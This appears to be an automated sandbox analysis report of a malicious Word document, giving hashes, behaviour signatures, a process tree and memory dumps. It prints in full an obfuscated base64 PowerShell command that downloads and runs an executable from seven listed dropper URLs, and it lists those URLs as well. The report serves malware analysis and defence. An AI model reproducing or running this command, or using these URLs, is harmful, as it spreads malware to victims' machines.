Analysis

  • max time kernel
    101s
  • max time network
    27s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    14/08/2024, 08:11

General

  • Target

    9547c4967312ca38d10fa90488c9ef49_JaffaCakes118.doc

  • Size

    160KB

  • MD5

    9547c4967312ca38d10fa90488c9ef49

  • SHA1

    edcebee6041bfb029879bcd4fc3f5086fc37146a

  • SHA256

    fe1ee74654249e1aa82677b51373ea93fe733aff387bb0c77e0af2fd2a3d230c

  • SHA512

    9895d68f766a322ffbbbe2b122fc3ff21c878c7d762a48c5be1051623879a184441a6193c86376b496ba783030d92f47f48d822e0775a8c4e0de91dd341d5ac8

  • SSDEEP

    3072:+KNtK1zjRjJz22TWTogk079THcpOu5UZTqWJ3/t5Atm2J:+Ct+zjR9/TX07hHcJQbJvt5Atm2J

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://khobormalda.com/wp-content/82/

exe.dropper

http://blog.zunapro.com/wp-admin/LEE/

exe.dropper

http://megasolucoesti.com/R9KDq0O8w/Y/

exe.dropper

https://online24h.biz/wp-admin/K/

exe.dropper

https://fepami.com/wp-includes/eaI/

exe.dropper

http://ora-ks.com/system/cache/w/

exe.dropper

http://padamagro.com/wp-admin/Nc/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9547c4967312ca38d10fa90488c9ef49_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2556
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1784
    • C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
      POWeRsHeLL -ENCOD JABCADQAegBtAGEAMQBiAD0AKAAoACcAVAAnACsAJwB5AHUAJwApACsAJwBhAHYAJwArACcAYwBoACcAKQA7ACYAKAAnAG4AJwArACcAZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAEUAbgBWADoAdQBTAEUAcgBQAFIATwBGAEkAbABFAFwASAB5AHUAOQBoAFYAMwBcAE0AZgBOAFgATwAzAHcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIARQBDAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBgAGMAVQByAGkAdAB5AHAAYABSAG8AYABUAE8AQwBPAGwAIgAgAD0AIAAoACgAJwB0ACcAKwAnAGwAcwAnACkAKwAoACcAMQAyACcAKwAnACwAIAB0ACcAKQArACcAbAAnACsAKAAnAHMAJwArACcAMQAxACwAIAAnACkAKwAoACcAdABsACcAKwAnAHMAJwApACkAOwAkAFIAYwBkAHgAaQBjADgAIAA9ACAAKAAnAFgAJwArACgAJwA5AG8AJwArACcAdQAnACsAJwBxAGYAdAAnACkAKQA7ACQAQwB5AG8AdQBjAHAAZgA9ACgAJwBMAGYAJwArACgAJwB2AHAAJwArACcAbgB1AHQAJwApACkAOwAkAEUANwAyADcAMQBxAGMAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAewAnACsAJwAwAH0ASAB5AHUAOQBoAHYAMwAnACsAJwB7ADAAfQBNAGYAJwArACcAbgAnACsAJwB4ACcAKwAnAG8AMwB3AHsAMAB9ACcAKQAgAC0AZgBbAGMASABhAFIAXQA5ADIAKQArACQAUgBjAGQAeABpAGMAOAArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFEAZgBoAHQAYQAzAHQAPQAoACgAJwBaACcAKwAnADAAMgBxACcAKQArACcAbwBjACcAKwAnAHIAJwApADsAJABYAGcAdAA2AGkAMwB3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMAbABpAGUAbgB0ADsAJABWADUAaABqAGMAeQAxAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6AC8AJwArACcALwAnACkAKwAnAGsAJwArACgAJwBoAG8AJwArACcAYgBvACcAKwAnAHIAbQAnACsAJwBhAGwAZABhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAnAG0AJwArACcALwAnACsAKAAnAHcAcAAnACsAJwAtAGMAbwBuAHQAZQAnACsAJwBuACcAKQArACcAdAAvACcAKwAnADgAJwArACcAMgAvACcAKwAnACoAaAAnACsAKAAnAHQAdABwACcAKwAnADoAJwArACcALwAvAGIAJwApACsAKAAnAGwAJwArACcAbwBnACcAKQArACcALgB6ACcAKwAoACcAdQBuAGEAcAAnACsAJwByACcAKQArACgAJwBvAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwApACsAKAAnAGEAJwArACcAZABtACcAKQArACcAaQAnACsAJwBuAC8AJwArACgAJwBMACcAKwAnAEUARQAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwArACcAbQAnACsAJwBlAGcAYQBzACcAKQArACgAJwBvAGwAdQAnACsAJwBjAG8AJwApACsAJwBlACcAKwAnAHMAJwArACgAJwB0AGkAJwArACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAUgA5ACcAKwAoACcASwBEAHEAMABPACcAKwAnADgAJwApACsAJwB3ACcAKwAnAC8AJwArACgAJwBZAC8AJwArACcAKgAnACkAKwAnAGgAdAAnACsAKAAnAHQAcABzACcAKwAnADoALwAvAG8AJwApACsAJwBuACcAKwAoACcAbABpACcAKwAnAG4AZQAyADQAaAAuACcAKQArACcAYgBpACcAKwAoACcAegAnACsAJwAvAHcAJwArACcAcAAtAGEAZABtACcAKwAnAGkAbgAvACcAKQArACcASwAvACcAKwAoACcAKgBoAHQAdAAnACsAJwBwAHMAJwApACsAKAAnADoALwAnACsAJwAvACcAKQArACcAZgAnACsAJwBlAHAAJwArACgAJwBhAG0AJwArACcAaQAuAGMAJwApACsAKAAnAG8AJwArACcAbQAvAHcAJwApACsAJwBwAC0AJwArACgAJwBpAG4AYwAnACsAJwBsAHUAZABlACcAKwAnAHMAJwApACsAKAAnAC8AZQBhACcAKwAnAEkALwAqACcAKQArACcAaAAnACsAJwB0ACcAKwAnAHQAJwArACgAJwBwADoALwAnACsAJwAvAG8AJwApACsAJwByACcAKwAnAGEAJwArACcALQAnACsAKAAnAGsAcwAnACsAJwAuAGMAJwApACsAJwBvACcAKwAoACcAbQAvACcAKwAnAHMAJwApACsAJwB5AHMAJwArACcAdABlACcAKwAoACcAbQAvACcAKwAnAGMAYQBjACcAKQArACgAJwBoACcAKwAnAGUALwAnACkAKwAoACcAdwAvACcAKwAnACoAaAAnACkAKwAoACcAdAB0ACcAKwAnAHAAOgAvACcAKwAnAC8AcAAnACkAKwAnAGEAJwArACcAZABhACcAKwAoACcAbQAnACsAJwBhAGcAJwApACsAKAAnAHIAbwAuACcAKwAnAGMAJwArACcAbwBtAC8AdwAnACkAKwAoACcAcAAtACcAKwAnAGEAZAAnACkAKwAoACcAbQBpAG4AJwArACcALwAnACkAKwAnAE4AYwAnACsAJwAvACcAKQAuACIAcwBwAEwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABIAGQAagBuAGwAcgBsAD0AKAAoACcATgB5AHUAcABzACcAKwAnADMAJwApACsAJwBiACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAE0ANABzAHkAaABfAGQAIABpAG4AIAAkAFYANQBoAGoAYwB5ADEAKQB7AHQAcgB5AHsAJABYAGcAdAA2AGkAMwB3AC4AIgBEAG8AdwBuAEwAYABvAEEAZABgAEYASQBgAGwARQAiACgAJABNADQAcwB5AGgAXwBkACwAIAAkAEUANwAyADcAMQBxAGMAKQA7ACQASwA1ADkAawAwAF8AdgA9ACgAKAAnAEQAXwB3ACcAKwAnAGUAeQAnACkAKwAnAHoAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARQA3ADIANwAxAHEAYwApAC4AIgBMAGAARQBuAEcAVABIACIAIAAtAGcAZQAgADIANwA3ADUANgApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACgAJABFADcAMgA3ADEAcQBjACkAOwAkAFEAZgBrAGsAZwBqAGcAPQAoACcAVwAnACsAKAAnAF8AbQAnACsAJwBpACcAKQArACgAJwBkACcAKwAnADgAaAAnACkAKQA7AGIAcgBlAGEAawA7ACQASwBiAHUAZgBoADAAawA9ACgAJwBYAGgAJwArACgAJwBtADYAJwArACcAZwB4ADYAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMgA2AHcAMwBiAGgAPQAoACgAJwBUACcAKwAnAHEAYwBfAGkAJwApACsAJwBlAGIAJwApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2440

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      19KB

      MD5

      4f2a8601fad463292440d9239b642b9d

      SHA1

      2dd974f4134fc97ce1315ea5203111b816372ab7

      SHA256

      b89922518e4e11175054bac09084679b61dd52d8bfbaa4020e2f0dcb87df5548

      SHA512

      1183db37c924203d58e24ae5624e409b87c25152c5939edb5993402cb3ada453d6da030285331d1fe49886b1a2cdfd1a73037bb4cf172a503e98c9beb0f7cf03

    • memory/2440-38-0x000000001B400000-0x000000001B6E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2440-39-0x0000000001F50000-0x0000000001F58000-memory.dmp

      Filesize

      32KB

    • memory/2556-10-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-26-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-9-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-7-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-16-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-19-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-21-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-20-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-18-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-17-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-25-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-14-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-13-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-12-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-11-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-0-0x000000002F441000-0x000000002F442000-memory.dmp

      Filesize

      4KB

    • memory/2556-5-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-8-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-15-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-23-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-24-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-32-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-31-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-29-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-28-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-27-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-22-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-6-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-2-0x00000000714BD000-0x00000000714C8000-memory.dmp

      Filesize

      44KB

    • memory/2556-44-0x00000000714BD000-0x00000000714C8000-memory.dmp

      Filesize

      44KB

    • memory/2556-45-0x0000000000820000-0x0000000000920000-memory.dmp

      Filesize

      1024KB

    • memory/2556-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2556-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2556-65-0x00000000714BD000-0x00000000714C8000-memory.dmp

      Filesize

      44KB